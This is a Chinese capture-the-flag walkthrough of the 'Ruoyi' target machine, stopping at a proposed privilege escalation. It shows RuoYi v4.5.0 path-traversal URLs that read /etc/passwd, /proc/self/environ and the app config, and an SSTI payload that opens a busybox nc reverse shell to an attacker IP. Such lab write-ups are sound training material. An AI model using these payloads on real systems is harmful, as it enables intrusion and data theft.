MazeSec Ruoyi
靶机信息
名称:Ruoyi
作者:场_room
系统:Linux
难度:Easy
来源:MazeSec / QQ 内部群 660930334
官网:https://maze-sec.com/
信息收集
存活主机扫描
arp-scan 扫描,靶机 IP 地址为 192.168.6.220
arp-scan 192.168.6.0/24
192.168.6.220 08:00:27:cf:ef:85 PCS Systemtechnik GmbH
依次为 IP 地址、MAC 地址和厂商信息(根据 MAC 地址的前 3 个字节(OUI,组织唯一标识符)08:00:27 从 IEEE 注册的 OUI 数据库中查到的制造商名称。)
MAC地址识别: 当你在虚拟化环境中看到 MAC 地址以 08:00:27 开头并标注为 "PCS Systemtechnik GmbH" 时,这表示该设备是一台由 VirtualBox 托管的虚拟机。
特定厂商标识: 虽然 VirtualBox 网卡由 Oracle 拥有,但其注册在该公司(PCS Systemtechnik)名下,因此在arp表中显示该名字。
端口扫描
nmap 扫描
- -p- 扫描所有端口
- -sS 使用 SYN 扫描,也称为半开放扫描,速度较快
- -n 不进行 DNS 解析,直接使用 IP 地址,提高扫描速度
nmap 192.168.6.220 -p- -sS -n
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
靶机开放了 22 和 80 端口
80 端口信息收集
访问 web 页面,一个 Ruoyi 的登录界面,尝试使用默认账号 admin/admin123 登录失败

查看 html 源码,发现注册接口 /r3g1ster

可以注册用户,注册一个 admin/admin

登录后,显然是一个 guest 权限用户,不过,获取到关键信息,Ruoyi 版本 v4.5.0

Ruoyi 漏洞利用
找到 Ruoyi 的版本信息后,搜索 Ruoyi v4.5.0 的漏洞,找到一些漏洞,如任意文件读取、SSTI 注入RCE等
参考链接:
-
RuoYi框架部分历史漏洞 https://www.cnblogs.com/carmi/p/18402581
-
若依4.5版本代码漏洞分析 https://blog.csdn.net/sunyufei_666/article/details/142335534
任意文件读取
通过文章 1 中的漏洞分析,发现 Ruoyi v4.5.0 存在一个任意文件读取漏洞,攻击者可以通过构造恶意请求来读取服务器上的任意文件
复现任意文件读取漏洞,构造如下请求:
http://192.168.6.220/common/download/resource?resource=/profile/../../../../../../etc/passwd

可以发现存在靶机存在用户 fortonight 用户

可以通过任意文件读取,读取 user flag
http://192.168.6.220/common/download/resource?resource=/profile/../../../../../../home/fortonight/user.txt
通过 /proc 目录下的文件,可以获取到当前进程相关信息,如环境变量、启动命令等
http://192.168.6.220/common/download/resource?resource=/profile/../../../../../../proc/self/environ
http://192.168.6.220/common/download/resource?resource=/profile/../../../../../../proc/self/cmdline
cmdline 信息:
/usr/lib/jvm/java-11-openjdk-amd64/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start
可以发现靶机使用了 Tomcat 服务器,Java 版本为 Java 11,项目目录为 /opt/tomcat/,可以通过任意文件读取,读取项目目录下的文件,如 /opt/tomcat/webapps/ROOT/WEB-INF/classes/application.yml 项目配置文件

可以拿到 shiro key,尝试利用 shiro 反序列化漏洞,没有成功。
未授权SSTI RCE
通过文章 2 中的漏洞分析,发现 Ruoyi v4.5.0 存在一个 SSTI 注入漏洞,攻击者可以通过构造恶意请求来执行服务器上的任意命令
复现 SSTI 注入漏洞,构造如下 POST 请求:
http://192.168.6.220/demo/form/localrefresh/task
fragment=${T(java.lang.Runtime).getRuntime().exec("busybox+nc+192.168.6.111+4444+-e+bash")}
可以发现存在 SSTI 注入漏洞,成功执行了命令,获得了反弹 shell

至此,拿到了 fortonight 权限 shell
权限提升
尝试信息收集,当前用户没有无密码 sudo 权限,靶机无可直接利用 的 SUID 程序
尝试收集靶机新建文件、可写文件等
# 查找最近 7 天内创建的文件,排除掉一些系统目录和日志目录
find / -type f -ctime -7 2>/dev/null | grep -Ev '^(/proc|/sys|/run|/opt/tomcat|/opt/RuoYi|/var/log)' | xargs ls -laht
# 查找当前用户可写的文件
find / -type f -writable 2>/dev/null | grep -Ev '^(/proc|/run|/sys|/opt/tomcat)' | xargs ls -alht
可以找到靶机作者创建的服务文件
/etc/systemd/system/ops-report.timer
/etc/systemd/system/ops-report.service
/etc/systemd/system/tomcat.service

找到某个 root 用户 和 ops 组可写文件,且当前用户属于 ops 组,具有修改该文件的权限

其中,ops-report 成对出现的 timer 和 service 文件,猜测是一个定时执行的服务,查看 ops-report.service、ops-report.timer 文件内容
[Timer]
OnBootSec=2min # 开机后 2 分钟首次执行
OnUnitActiveSec=1min # 之后每隔 1 分钟执行一次
Unit=ops-report.service
[Service]
User=root # ⚠️ 以 root 身份执行!
ExecStart=/usr/bin/python3 /opt/opsagent/reporter.py

ops-report 服务以 root 身份运行,且每分钟执行一次 /opt/opsagent/reporter.py 文件,reporter.py 会动态加载 plugins/netmon.py,并执行 netmon.py 中的 collect() 函数

可以修改 netmon.py 文件,在 collect() 函数中添加反弹 shell 代码
